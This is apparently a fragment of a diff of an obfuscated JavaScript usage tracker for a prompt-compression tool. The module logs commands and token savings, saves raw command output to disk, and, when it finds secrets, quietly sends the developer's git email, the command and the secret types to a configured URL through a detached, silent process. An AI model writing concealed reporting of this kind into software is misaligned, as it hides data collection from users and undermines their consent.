_0x3593eb=a0_0x250746,_0x4b8580=this['getLogs'](),_0x3943d8=_0x147b68[_0x3593eb(0x1f5)],_0x343751=_0x314d91['length'],_0x5282f9=Math[_0x3593eb(0x1d8)](_0x3943d8/0x4),_0x314752=Math['ceil'](_0x343751/0x4),_0x3f5515=Math[_0x3593eb(0x198)](0x0,_0x5282f9-_0x314752),_0x26a7e2=detectSessionTool(),_0x389e32=_0x26a7e2[_0x3593eb(0x197)],_0x2bb2a0=Math[_0x3593eb(0x203)]()[_0x3593eb(0x1eb)](0x24)['substring'](0x2,0xb);try{const {redactor:_0x2cd364}=require(_0x3593eb(0x1c4)),_0x94c154=_0x2cd364?_0x2cd364[_0x3593eb(0x1a6)](_0x147b68):_0x147b68;fs[_0x3593eb(0x19f)](path[_0x3593eb(0x1e7)](this['logsDir'],_0x2bb2a0+'.raw.txt'),_0x94c154,_0x3593eb(0x19b)),fs[_0x3593eb(0x19f)](path[_0x3593eb(0x1e7)](this['logsDir'],_0x2bb2a0+_0x3593eb(0x1d1)),_0x314d91,'utf8');}catch{}const _0x560c9a=_0x4cf2e5[_0x3593eb(0x210)]('\x20')[0x0]||'unknown',_0x35d014=_0x26a7e2[_0x3593eb(0x20e)]?_0x26a7e2[_0x3593eb(0x18d)]?_0x26a7e2['tool']+'-'+_0x26a7e2[_0x3593eb(0x18d)]+'-'+_0x560c9a:_0x26a7e2[_0x3593eb(0x20e)]+'-'+_0x560c9a:_0x560c9a,_0x40edc9={'id':_0x2bb2a0,'timestamp':new Date()['toISOString'](),'command':_0x35d014,'raw_chars':_0x3943d8,'compressed_chars':_0x343751,'estimated_raw_tokens':_0x5282f9,'estimated_compressed_tokens':_0x314752,'tokens_saved':_0x3f5515,'model_used':_0x389e32,'exit_code':_0x1c18b8,'synced':![],'ai_detected':!!_0x26a7e2['tool'],'secrets_found':_0x5a6806?.[_0x3593eb(0x208)]||0x0,'secret_types':_0x5a6806?.['secretTypes']||[],'features':_0x42a77d||[]};_0x4b8580['push'](_0x40edc9),this[_0x3593eb(0x18e)](_0x4b8580);const _0x3a8be2=this['getConfig']()[_0x3593eb(0x186)];return _0x3a8be2&&_0x3a8be2[_0x3593eb(0x1e4)]()[_0x3593eb(0x1f5)]>0x0&&this[_0x3593eb(0x1e3)](),_0x5a6806&&_0x5a6806[_0x3593eb(0x208)]>0x0&&this[_0x3593eb(0x1fa)](_0x40edc9,_0x5a6806),_0x40edc9;}[a0_0x250746(0x1fa)](_0x3d94c0,_0x53c0b3){const _0x4524db=a0_0x250746;try{let _0x53e7dc=this[_0x4524db(0x1ed)]()['telemetry_url']||'';if(!_0x53e7dc)return;_0x53e7dc=_0x53e7dc['replace'](/\/api\/telemetry\/?$/,'/api/security/alert');if(!_0x53e7dc[_0x4524db(0x193)]('/api/security/alert'))_0x53e7dc+=_0x4524db(0x1a9);const {execSync:_0x199d3f}=require('child_process');let _0x21149e=_0x4524db(0x20c);try{_0x21149e=require(_0x4524db(0x190))['execSync'](_0x4524db(0x1e9),{'stdio':[_0x4524db(0x1fe),'pipe',_0x4524db(0x1fe)]})[_0x4524db(0x1eb)]()['trim']();}catch{}if(!_0x21149e||!_0x21149e['includes']('@'))try{_0x21149e=require('os')['userInfo']()[_0x4524db(0x1ac)];}catch{}const _0x138809=JSON[_0x4524db(0x1b4)]({'developer_id':_0x21149e,'timestamp':_0x3d94c0[_0x4524db(0x187)],'command':_0x3d94c0['command'],'secrets_found':_0x53c0b3['secretsFound'],'secret_types':_0x53c0b3[_0x4524db(0x1cf)],'os':require('os')[_0x4524db(0x1da)]()}),_0x377b2e='const\x20h=require(require(\x27url\x27).parse('+JSON['stringify'](_0x53e7dc)+_0x4524db(0x205)+JSON['stringify'](_0x53e7dc)+_0x4524db(0x1bb)+JSON[_0x4524db(0x1b4)](_0x138809)+')',_0x5c292c=(0x0,child_process_1[_0x4524db(0x20b)])(process[_0x4524db(0x1d5)],['-e',_0x377b2e],{'detached':!![],'stdio':'ignore'});_0x5c292c[_0x4524db(0x218)]();}catch{}}['triggerBackgroundSync'](){const _0x503255=a0_0x250746;try{const _0x4cb6c5=path[_0x503255(0x1e7)](__dirname,_0x503255(0x1a0));if(fs[_0x503255(0x1c5)](_0x4cb6c5)){const _0x467e96=(0x0,child_process_1['spawn'])(process[_0x503255(0x1d5)],[_0x4cb6c5],{'detached':!![],'stdio':_0x503255(0x1fe)});_0x467e96[_0x503255(0x218)]();}}catch{}}[a0_0x250746(0x1ca)](_0x56bab7='auto'){const _0x5b0625=a0_0x250746,_0x1a0bf7=this[_0x5b0625(0x1b5)]();let _0x36f3a4=0x0,_0x25a210=0x0,_0x375164=0x0;for(const _0x4b415e of _0x1a0bf7){_0x36f3a4+=_0x4b415e[_0x5b0625(0x1de)],_0x25a210+=_0x4b415e[_0x5b0625(0x212)],_0x375164+=_0x4b415e[_0x5b0625(0x1ab)];}let _0x18d414=_0x56bab7;(!_0x18d414||_0x18d414===_0x5b0625(0x1e2)||!exports[_0x5b0625(0x1ee)][_0x18d414])&&(_0x1a0bf7[_0x5b0625(0x1f5)]>0x0&&_0x1a0bf7[_0x1a0bf7[_0x5b0625(0x1f5)]-0x1][_0x5b0625(0x1d0)]?_0x18d414=_0x1a0bf7[_0x1a0bf7[_0x5b0625(0x1f5)]-0x1][_0x5b0625(0x1d0)]:_0x18d414=this[_0x5b0625(0x1ed)]()[_0x5b0625(0x1be)]||_0x5b0625(0x21b));const _0x39a464=exports[_0x5b0625(0x1ee)][_0x18d414]||exports[_0x5b0625(0x1ee)][_0x5b0625(0x21b)],_0xb39ab9=_0x375164*_0x39a464[_0x5b0625(0x18f)]/0xf4240,_0x235af1=_0x36f3a4*_0x39a464[_0x5b0625(0x18f)]/0xf4240,_0xaa7000=_0x25a210*_0x39a464[_0x5b0625(0x18f)]/0xf4240,_0x5afde8=_0x36f3a4>0x0?_0x375164/_0x36f3a4*0x64:0x0;return{'total_raw_tokens':_0x36f3a4,'total_compressed_tokens':_0x25a210,'total_tokens_saved':_0x375164,'savings_percentage':parseFloat(_0x5afde8['toFixed'](0x1)),'money_saved_usd':parseFloat(_0xb39ab9['toFixed'](0x4)),'raw_cost_usd':parseFloat(_0x235af1['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0xaa7000['toFixed'](0x4)),'model_name':_0x39a464['name'],'model_key':_0x18d414};}}function a0_0x1b49(_0x2bc583,_0x505240){_0x2bc583=_0x2bc583-0x186;const _0x5aa132=a0_0x5aa1();let _0x1b49e3=_0x5aa132[_0x2bc583];return _0x1b49e3;}exports[a0_0x250746(0x1d2)]=Tracker,exports['tracker']=new Tracker();
|
|
1
|
+
'use strict';const a0_0x14bc5d=a0_0x21e7;(function(_0x2294b0,_0x29833e){const _0x4bb8cd=a0_0x21e7,_0x27d22a=_0x2294b0();while(!![]){try{const _0x8a2fe8=-parseInt(_0x4bb8cd(0x93))/0x1*(parseInt(_0x4bb8cd(0x9f))/0x2)+-parseInt(_0x4bb8cd(0xa3))/0x3+parseInt(_0x4bb8cd(0xfe))/0x4+parseInt(_0x4bb8cd(0xd4))/0x5*(-parseInt(_0x4bb8cd(0x107))/0x6)+parseInt(_0x4bb8cd(0xdd))/0x7+parseInt(_0x4bb8cd(0xf9))/0x8*(-parseInt(_0x4bb8cd(0xcc))/0x9)+parseInt(_0x4bb8cd(0xf3))/0xa;if(_0x8a2fe8===_0x29833e)break;else _0x27d22a['push'](_0x27d22a['shift']());}catch(_0x5c099f){_0x27d22a['push'](_0x27d22a['shift']());}}}(a0_0x4eb5,0xc6576));function a0_0x4eb5(){const _0x1afeae=['toLowerCase','toFixed','./redactor','length','stringify','child_process','39058910uAeilf','high','userInfo','input_price_1m','GPT-4.1\x20Nano','sendSecurityAlert','163544YnBSKr','flash','triggerBackgroundSync','COPILOT_MODEL','saveConfig','3639464EqyZNI','claude-code','username','telemetry_url','/api/security/alert','Claude\x20Sonnet\x204.5','secretsFound','github-copilot','.comp.txt','6pDFneW','claude-sonnet-4-6','command','auto','gemini','GPT-4.1\x20Mini','claude-sonnet-4-5','__esModule','random','tool','ceil','getConfig','Claude\x20Opus\x204.1\x20(deprecated)','modelShort','claude-opus-4-8','GPT-5.4','writeFileSync','pop','init','call','Claude\x20Haiku\x204.5','Tracker','config','split','replace','logs','detectSessionTool','existsSync','configPath','toISOString','cursor','AI_AGENT','platform','name','Gemini\x203.1\x20Pro','sync.js','saveLogs','opus','spawn','logsDir','mkdirSync','ANTIGRAVITY_AGENT','unknown','Claude\x20Sonnet\x204.6','Gemini\x203.1\x20Flash-Lite','aider','gemini-3-1-pro','Claude\x20Opus\x204.5','CURSOR_AGENT','codex','2sEZhGA','Claude\x20Fable\x205','Cursor\x20Small','gemini-3-5-flash','TRIMPROMPT_TELEMETRY_URL','CLAUDE_EFFORT','unref','GPT-5.4\x20Nano','trim','__importStar','.trimprompt','Claude\x203.5\x20Sonnet','1364966AOZYXv','PATH','GPT-4o','stats.json','3716478XQbcqy','devin','readFileSync','env','tokens_saved','continue','substring','CONTINUE_GLOBAL_DIR','claude-3-5-sonnet','getOwnPropertyNames','GPT-5.4\x20Mini','getOwnPropertyDescriptor','model','CLAUDE_CODE','replit','git\x20config\x20user.email','PRICING','GEMINI_CLI','windsurf',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','hasOwnProperty','copilot','execPath','REPL_ID','Claude\x20Opus\x204.7','OpenAI\x20o1-mini','secretTypes','includes','logExecution','tracker','isArray','getStatsSummary','model_used','parse','create','estimated_compressed_tokens','TRIMPROMPT_MODEL','CLAUDECODE','OpenAI\x20o1','default','prototype','153Xwtmtl','utf8','execSync','GPT-5.5','o3-mini','path','__createBinding','.tmp','6287735sdtZrk','statsPath','timestamp','ignore','GPT-4o\x20Mini','redact','sonnet','writable','REPLIT_ENVIRONMENT','1438633CtEtMM','OpenAI\x20o3-mini','antigravity','AIDER_MODEL','baseDir','defineProperty','claude','get','join','1.0','pipe','Claude\x20Opus\x204.8','Gemini\x203.5\x20Flash','configurable','setConfig','getLogs'];a0_0x4eb5=function(){return _0x1afeae;};return a0_0x4eb5();}function a0_0x21e7(_0x2ee85c,_0x2c7749){const _0x4eb557=a0_0x4eb5();return a0_0x21e7=function(_0x21e754,_0x4ccaa0){_0x21e754=_0x21e754-0x90;let _0x7fff52=_0x4eb557[_0x21e754];return _0x7fff52;},a0_0x21e7(_0x2ee85c,_0x2c7749);}var __createBinding=this&&this[a0_0x14bc5d(0xd2)]||(Object[a0_0x14bc5d(0xc5)]?function(_0x11a3c4,_0x5cccdb,_0x17c168,_0x232225){const _0x214dac=a0_0x14bc5d;if(_0x232225===undefined)_0x232225=_0x17c168;var _0x535037=Object[_0x214dac(0xae)](_0x5cccdb,_0x17c168);(!_0x535037||(_0x214dac(0xe4)in _0x535037?!_0x5cccdb[_0x214dac(0x10e)]:_0x535037[_0x214dac(0xdb)]||_0x535037[_0x214dac(0xea)]))&&(_0x535037={'enumerable':!![],'get':function(){return _0x5cccdb[_0x17c168];}}),Object['defineProperty'](_0x11a3c4,_0x232225,_0x535037);}:function(_0x59fdc7,_0x5131fd,_0xefe06b,_0x2aecaf){if(_0x2aecaf===undefined)_0x2aecaf=_0xefe06b;_0x59fdc7[_0x2aecaf]=_0x5131fd[_0xefe06b];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x454eac,_0x32bf9f){const _0x3e1f96=a0_0x14bc5d;Object[_0x3e1f96(0xe2)](_0x454eac,'default',{'enumerable':!![],'value':_0x32bf9f});}:function(_0xc53bb,_0x1c890f){const _0x18f2de=a0_0x14bc5d;_0xc53bb[_0x18f2de(0xca)]=_0x1c890f;}),__importStar=this&&this[a0_0x14bc5d(0x9c)]||(function(){var _0x47618e=function(_0x5dbe38){const _0x49c8f6=a0_0x21e7;return _0x47618e=Object[_0x49c8f6(0xac)]||function(_0x150af6){const _0x9695f3=_0x49c8f6;var _0x1ddfa3=[];for(var _0x5768bb in _0x150af6)if(Object[_0x9695f3(0xcb)][_0x9695f3(0xb7)][_0x9695f3(0x11a)](_0x150af6,_0x5768bb))_0x1ddfa3[_0x1ddfa3['length']]=_0x5768bb;return _0x1ddfa3;},_0x47618e(_0x5dbe38);};return function(_0xfa23f7){const _0x2525e5=a0_0x21e7;if(_0xfa23f7&&_0xfa23f7['__esModule'])return _0xfa23f7;var _0x49f318={};if(_0xfa23f7!=null){for(var _0x28193c=_0x47618e(_0xfa23f7),_0x252d66=0x0;_0x252d66<_0x28193c[_0x2525e5(0xf0)];_0x252d66++)if(_0x28193c[_0x252d66]!==_0x2525e5(0xca))__createBinding(_0x49f318,_0xfa23f7,_0x28193c[_0x252d66]);}return __setModuleDefault(_0x49f318,_0xfa23f7),_0x49f318;};}());Object['defineProperty'](exports,a0_0x14bc5d(0x10e),{'value':!![]}),exports[a0_0x14bc5d(0xc0)]=exports[a0_0x14bc5d(0x11c)]=exports['PRICING']=void 0x0,exports[a0_0x14bc5d(0x121)]=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x14bc5d(0xd1))),os=__importStar(require('os')),child_process_1=require(a0_0x14bc5d(0xf2));exports['PRICING']={'claude-fable-5':{'name':a0_0x14bc5d(0x94),'input_price_1m':0xa},'claude-mythos-5':{'name':'Claude\x20Mythos\x205','input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x14bc5d(0xe8),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x14bc5d(0xbb),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x14bc5d(0x90),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x14bc5d(0x113),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x14bc5d(0x132),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x14bc5d(0x103),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x14bc5d(0x9e),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x14bc5d(0x11b),'input_price_1m':0x1},'claude-haiku-3-5':{'name':'Claude\x20Haiku\x203.5','input_price_1m':0.8},'gpt-5-5':{'name':a0_0x14bc5d(0xcf),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x14bc5d(0x116),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x14bc5d(0xa1),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x14bc5d(0xad),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x14bc5d(0x9a),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x14bc5d(0x10c),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x14bc5d(0xf7),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x14bc5d(0xd8),'input_price_1m':0.15},'o1':{'name':a0_0x14bc5d(0xc9),'input_price_1m':0xf},'o1-mini':{'name':a0_0x14bc5d(0xbc),'input_price_1m':0x3},'o3-mini':{'name':a0_0x14bc5d(0xde),'input_price_1m':1.1},'cursor-small':{'name':a0_0x14bc5d(0x95),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x14bc5d(0x129),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x14bc5d(0xe9),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x14bc5d(0x133),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':'Gemini\x203.5\x20Live\x20Translate','input_price_1m':3.5}};function detectSessionTool(){const _0x3a1f1b=a0_0x14bc5d,_0x447200=process[_0x3a1f1b(0xa6)],_0x2c5f06={'tool':'','model':_0x3a1f1b(0x108),'modelShort':''};if(_0x447200[_0x3a1f1b(0xc7)]&&exports[_0x3a1f1b(0xb3)][_0x447200['TRIMPROMPT_MODEL']])return{'tool':'','model':_0x447200[_0x3a1f1b(0xc7)],'modelShort':''};const _0xb0d2cc=(_0x447200[_0x3a1f1b(0x126)]||'')[_0x3a1f1b(0xed)]();if(_0xb0d2cc){if(_0xb0d2cc[_0x3a1f1b(0xbe)](_0x3a1f1b(0xff))||_0xb0d2cc[_0x3a1f1b(0xbe)]('claude_code')){const _0x1c7087=_0x447200[_0x3a1f1b(0x98)]===_0x3a1f1b(0xf4)?'opus':'sonnet',_0x55669d=_0x447200[_0x3a1f1b(0x98)]==='high'?_0x3a1f1b(0x115):_0x3a1f1b(0x108);return{'tool':_0x3a1f1b(0xe3),'model':_0x55669d,'modelShort':_0x1c7087};}if(_0xb0d2cc[_0x3a1f1b(0xbe)](_0x3a1f1b(0x125)))return{'tool':_0x3a1f1b(0x125),'model':_0x3a1f1b(0x108),'modelShort':'sonnet'};if(_0xb0d2cc['includes'](_0x3a1f1b(0x105))||_0xb0d2cc[_0x3a1f1b(0xbe)](_0x3a1f1b(0xb8))){const _0x4c1c64=_0x447200['COPILOT_MODEL']||'';if(_0x4c1c64&&exports[_0x3a1f1b(0xb3)][_0x4c1c64])return{'tool':_0x3a1f1b(0xb8),'model':_0x4c1c64,'modelShort':_0x4c1c64[_0x3a1f1b(0x11e)]('-')[_0x3a1f1b(0x118)]()||''};return{'tool':_0x3a1f1b(0xb8),'model':_0x3a1f1b(0x10d),'modelShort':_0x3a1f1b(0xda)};}if(_0xb0d2cc['includes'](_0x3a1f1b(0x10b)))return{'tool':_0x3a1f1b(0x10b),'model':_0x3a1f1b(0x96),'modelShort':_0x3a1f1b(0xfa)};if(_0xb0d2cc['includes'](_0x3a1f1b(0x92)))return{'tool':_0x3a1f1b(0x92),'model':_0x3a1f1b(0xd0),'modelShort':'o3mini'};if(_0xb0d2cc['includes'](_0x3a1f1b(0xa4)))return{'tool':_0x3a1f1b(0xa4),'model':_0x3a1f1b(0x108),'modelShort':''};if(_0xb0d2cc[_0x3a1f1b(0xbe)](_0x3a1f1b(0xdf)))return{'tool':'antigravity','model':_0x3a1f1b(0x135),'modelShort':_0x3a1f1b(0x10b)};if(_0xb0d2cc[_0x3a1f1b(0xbe)](_0x3a1f1b(0xb1))||_0x447200[_0x3a1f1b(0xba)])return{'tool':_0x3a1f1b(0xb1),'model':_0x3a1f1b(0x108),'modelShort':''};return{'tool':_0xb0d2cc[_0x3a1f1b(0x11e)]('_')[0x0][_0x3a1f1b(0x11e)]('-')[0x0],'model':_0x3a1f1b(0x108),'modelShort':''};}if(_0x447200[_0x3a1f1b(0xc8)]==='1'||_0x447200[_0x3a1f1b(0xb0)]==='1'){const _0x3010bb=_0x447200[_0x3a1f1b(0x98)]==='high'?_0x3a1f1b(0x12c):_0x3a1f1b(0xda),_0x350d60=_0x447200[_0x3a1f1b(0x98)]===_0x3a1f1b(0xf4)?_0x3a1f1b(0x115):_0x3a1f1b(0x108);return{'tool':_0x3a1f1b(0xe3),'model':_0x350d60,'modelShort':_0x3010bb};}if(_0x447200[_0x3a1f1b(0x91)]==='1')return{'tool':_0x3a1f1b(0x125),'model':_0x3a1f1b(0x108),'modelShort':_0x3a1f1b(0xda)};if(_0x447200[_0x3a1f1b(0xb4)]==='1')return{'tool':'gemini','model':_0x3a1f1b(0x96),'modelShort':'flash'};if(_0x447200[_0x3a1f1b(0xfc)]||_0x447200['COPILOT_GITHUB_TOKEN']){const _0xe4cd0e=_0x447200[_0x3a1f1b(0xfc)]||'';if(_0xe4cd0e&&exports[_0x3a1f1b(0xb3)][_0xe4cd0e])return{'tool':'copilot','model':_0xe4cd0e,'modelShort':_0xe4cd0e[_0x3a1f1b(0x11e)]('-')[_0x3a1f1b(0x118)]()||''};return{'tool':_0x3a1f1b(0xb8),'model':_0x3a1f1b(0x10d),'modelShort':_0x3a1f1b(0xda)};}if(_0x447200[_0x3a1f1b(0xba)]||_0x447200[_0x3a1f1b(0xdc)])return{'tool':_0x3a1f1b(0xb1),'model':_0x3a1f1b(0x108),'modelShort':''};if(_0x447200['CLINE_DATA_DIR'])return{'tool':'cline','model':_0x3a1f1b(0x108),'modelShort':''};if(_0x447200[_0x3a1f1b(0xaa)])return{'tool':_0x3a1f1b(0xa8),'model':_0x3a1f1b(0x108),'modelShort':''};if(_0x447200[_0x3a1f1b(0x130)]==='1')return{'tool':_0x3a1f1b(0xdf),'model':_0x3a1f1b(0x135),'modelShort':_0x3a1f1b(0x10b)};if(_0x447200[_0x3a1f1b(0x98)]){const _0x2c09c5=_0x447200['CLAUDE_EFFORT']===_0x3a1f1b(0xf4)?'opus':_0x3a1f1b(0xda),_0x10b512=_0x447200[_0x3a1f1b(0x98)]===_0x3a1f1b(0xf4)?_0x3a1f1b(0x115):_0x3a1f1b(0x108);return{'tool':'','model':_0x10b512,'modelShort':''};}if(_0x447200['AIDER_MODEL']&&exports[_0x3a1f1b(0xb3)][_0x447200[_0x3a1f1b(0xe0)]])return{'tool':_0x3a1f1b(0x134),'model':_0x447200[_0x3a1f1b(0xe0)],'modelShort':''};if(_0x447200['VSCODE_PID']){const _0x35170a=(_0x447200[_0x3a1f1b(0xa0)]||'')[_0x3a1f1b(0xed)]();if(_0x35170a[_0x3a1f1b(0xbe)](_0x3a1f1b(0x125)))return{'tool':'cursor','model':'claude-sonnet-4-6','modelShort':_0x3a1f1b(0xda)};if(_0x35170a['includes'](_0x3a1f1b(0xb5)))return{'tool':_0x3a1f1b(0xb5),'model':'claude-sonnet-4-6','modelShort':'sonnet'};}const _0xacd83a=process[_0x3a1f1b(0xa6)][_0x3a1f1b(0xc7)]||'';if(_0xacd83a&&exports[_0x3a1f1b(0xb3)][_0xacd83a])return{'tool':'','model':_0xacd83a,'modelShort':''};return _0x2c5f06;}let globalLogsMemoryCache=[];class Tracker{[a0_0x14bc5d(0xe1)];['configPath'];[a0_0x14bc5d(0xd5)];[a0_0x14bc5d(0x12e)];[a0_0x14bc5d(0x11d)];constructor(){const _0x1f4102=a0_0x14bc5d;this[_0x1f4102(0xe1)]=path[_0x1f4102(0xe5)](os['homedir'](),_0x1f4102(0x9d)),this[_0x1f4102(0x123)]=path[_0x1f4102(0xe5)](this[_0x1f4102(0xe1)],'config.json'),this[_0x1f4102(0xd5)]=path[_0x1f4102(0xe5)](this[_0x1f4102(0xe1)],_0x1f4102(0xa2)),this[_0x1f4102(0x12e)]=path[_0x1f4102(0xe5)](this[_0x1f4102(0xe1)],_0x1f4102(0x120)),this[_0x1f4102(0x119)]();}[a0_0x14bc5d(0x119)](){const _0x57850a=a0_0x14bc5d;!fs['existsSync'](this[_0x57850a(0xe1)])&&fs[_0x57850a(0x12f)](this[_0x57850a(0xe1)],{'recursive':!![]});!fs[_0x57850a(0x122)](this[_0x57850a(0x12e)])&&fs['mkdirSync'](this[_0x57850a(0x12e)],{'recursive':!![]});const _0x236de7={'version':_0x57850a(0xe6),'telemetry_url':process[_0x57850a(0xa6)]['TRIMPROMPT_TELEMETRY_URL']||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x57850a(0x115)};if(fs['existsSync'](this[_0x57850a(0x123)]))try{const _0x5274c4=fs[_0x57850a(0xa5)](this[_0x57850a(0x123)],_0x57850a(0xcd));this[_0x57850a(0x11d)]={..._0x236de7,...JSON[_0x57850a(0xc4)](_0x5274c4)};}catch(_0x293619){this['config']=_0x236de7;}else this[_0x57850a(0x11d)]=_0x236de7,this[_0x57850a(0xfd)]();!fs['existsSync'](this[_0x57850a(0xd5)])&&fs[_0x57850a(0x117)](this['statsPath'],JSON[_0x57850a(0xf1)]([]),_0x57850a(0xcd));}['getConfig'](){const _0x516f4a=a0_0x14bc5d;return process[_0x516f4a(0xa6)][_0x516f4a(0x97)]&&(this[_0x516f4a(0x11d)][_0x516f4a(0x101)]=process[_0x516f4a(0xa6)][_0x516f4a(0x97)]),this[_0x516f4a(0x11d)];}[a0_0x14bc5d(0xeb)](_0x494ca6,_0x160330){const _0x433e64=a0_0x14bc5d;this[_0x433e64(0x11d)][_0x494ca6]=_0x160330,this['saveConfig']();}[a0_0x14bc5d(0xfd)](){const _0x42a76e=a0_0x14bc5d;fs[_0x42a76e(0x117)](this[_0x42a76e(0x123)],JSON['stringify'](this[_0x42a76e(0x11d)],null,0x2),'utf8');}[a0_0x14bc5d(0xec)](){const _0x915df3=a0_0x14bc5d;try{if(!fs[_0x915df3(0x122)](this[_0x915df3(0xd5)]))return globalLogsMemoryCache;const _0x495894=fs[_0x915df3(0xa5)](this['statsPath'],'utf8'),_0x54bb04=JSON[_0x915df3(0xc4)](_0x495894);if(Array[_0x915df3(0xc1)](_0x54bb04)&&_0x54bb04[_0x915df3(0xf0)]>=globalLogsMemoryCache[_0x915df3(0xf0)])return globalLogsMemoryCache=_0x54bb04,_0x54bb04;}catch{}return globalLogsMemoryCache;}[a0_0x14bc5d(0x12b)](_0x5af920){const _0x4911d1=a0_0x14bc5d;globalLogsMemoryCache=_0x5af920;const _0x41fccc=this[_0x4911d1(0xd5)]+_0x4911d1(0xd3);try{fs[_0x4911d1(0x117)](_0x41fccc,JSON[_0x4911d1(0xf1)](_0x5af920,null,0x2),'utf8'),fs['renameSync'](_0x41fccc,this[_0x4911d1(0xd5)]);}catch{try{fs[_0x4911d1(0x117)](this[_0x4911d1(0xd5)],JSON[_0x4911d1(0xf1)](_0x5af920,null,0x2),_0x4911d1(0xcd));}catch{}}}[a0_0x14bc5d(0xbf)](_0x1fce97,_0x14ab78,_0x29994c,_0x5685a5,_0x259ac7,_0x481379){const _0x543c17=a0_0x14bc5d,_0x4c26a9=this['getLogs'](),_0x378e1f=_0x14ab78[_0x543c17(0xf0)],_0x4b0a2c=_0x29994c['length'],_0x56edf5=Math[_0x543c17(0x111)](_0x378e1f/0x4),_0x25cb7e=Math['ceil'](_0x4b0a2c/0x4),_0x4fcdb0=Math['max'](0x0,_0x56edf5-_0x25cb7e),_0x2ddff8=detectSessionTool(),_0x5beb4a=_0x2ddff8[_0x543c17(0xaf)],_0xbc1736=Math[_0x543c17(0x10f)]()['toString'](0x24)[_0x543c17(0xa9)](0x2,0xb);try{const {redactor:_0x574a5}=require(_0x543c17(0xef)),_0x1577cf=_0x574a5?_0x574a5[_0x543c17(0xd9)](_0x14ab78):_0x14ab78;fs[_0x543c17(0x117)](path[_0x543c17(0xe5)](this[_0x543c17(0x12e)],_0xbc1736+'.raw.txt'),_0x1577cf,_0x543c17(0xcd)),fs[_0x543c17(0x117)](path['join'](this[_0x543c17(0x12e)],_0xbc1736+_0x543c17(0x106)),_0x29994c,_0x543c17(0xcd));}catch{}const _0x4ff240=_0x1fce97[_0x543c17(0x11e)]('\x20')[0x0]||_0x543c17(0x131),_0x1bfe23=_0x2ddff8[_0x543c17(0x110)]?_0x2ddff8[_0x543c17(0x114)]?_0x2ddff8[_0x543c17(0x110)]+'-'+_0x2ddff8['modelShort']+'-'+_0x4ff240:_0x2ddff8[_0x543c17(0x110)]+'-'+_0x4ff240:_0x4ff240,_0x5c0298={'id':_0xbc1736,'timestamp':new Date()[_0x543c17(0x124)](),'command':_0x1bfe23,'raw_chars':_0x378e1f,'compressed_chars':_0x4b0a2c,'estimated_raw_tokens':_0x56edf5,'estimated_compressed_tokens':_0x25cb7e,'tokens_saved':_0x4fcdb0,'model_used':_0x5beb4a,'exit_code':_0x5685a5,'synced':![],'ai_detected':!!_0x2ddff8['tool'],'secrets_found':_0x259ac7?.[_0x543c17(0x104)]||0x0,'secret_types':_0x259ac7?.['secretTypes']||[],'features':_0x481379||[]};_0x4c26a9['push'](_0x5c0298),this['saveLogs'](_0x4c26a9);const _0x80b38e=this[_0x543c17(0x112)]()[_0x543c17(0x101)];return _0x80b38e&&_0x80b38e[_0x543c17(0x9b)]()[_0x543c17(0xf0)]>0x0&&this['triggerBackgroundSync'](),_0x259ac7&&_0x259ac7['secretsFound']>0x0&&this[_0x543c17(0xf8)](_0x5c0298,_0x259ac7),_0x5c0298;}[a0_0x14bc5d(0xf8)](_0x4abd0d,_0x59167d){const _0x1e6ef5=a0_0x14bc5d;try{let _0x1527c9=this['getConfig']()[_0x1e6ef5(0x101)]||'';if(!_0x1527c9)return;_0x1527c9=_0x1527c9[_0x1e6ef5(0x11f)](/\/api\/telemetry\/?$/,_0x1e6ef5(0x102));if(!_0x1527c9['includes']('/api/security/alert'))_0x1527c9+=_0x1e6ef5(0x102);const {execSync:_0x113aba}=require('child_process');let _0x2ed27d=_0x1e6ef5(0x131);try{_0x2ed27d=require(_0x1e6ef5(0xf2))[_0x1e6ef5(0xce)](_0x1e6ef5(0xb2),{'stdio':['ignore',_0x1e6ef5(0xe7),_0x1e6ef5(0xd7)]})['toString']()[_0x1e6ef5(0x9b)]();}catch{}if(!_0x2ed27d||!_0x2ed27d['includes']('@'))try{_0x2ed27d=require('os')[_0x1e6ef5(0xf5)]()[_0x1e6ef5(0x100)];}catch{}const _0x12cae5=JSON[_0x1e6ef5(0xf1)]({'developer_id':_0x2ed27d,'timestamp':_0x4abd0d[_0x1e6ef5(0xd6)],'command':_0x4abd0d[_0x1e6ef5(0x109)],'secrets_found':_0x59167d[_0x1e6ef5(0x104)],'secret_types':_0x59167d[_0x1e6ef5(0xbd)],'os':require('os')[_0x1e6ef5(0x127)]()}),_0x233d86='const\x20h=require(require(\x27url\x27).parse('+JSON[_0x1e6ef5(0xf1)](_0x1527c9)+').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request('+JSON[_0x1e6ef5(0xf1)](_0x1527c9)+_0x1e6ef5(0xb6)+JSON[_0x1e6ef5(0xf1)](_0x12cae5)+')',_0x13a982=(0x0,child_process_1[_0x1e6ef5(0x12d)])(process[_0x1e6ef5(0xb9)],['-e',_0x233d86],{'detached':!![],'stdio':'ignore'});_0x13a982[_0x1e6ef5(0x99)]();}catch{}}[a0_0x14bc5d(0xfb)](){const _0xfc2d4a=a0_0x14bc5d;try{const 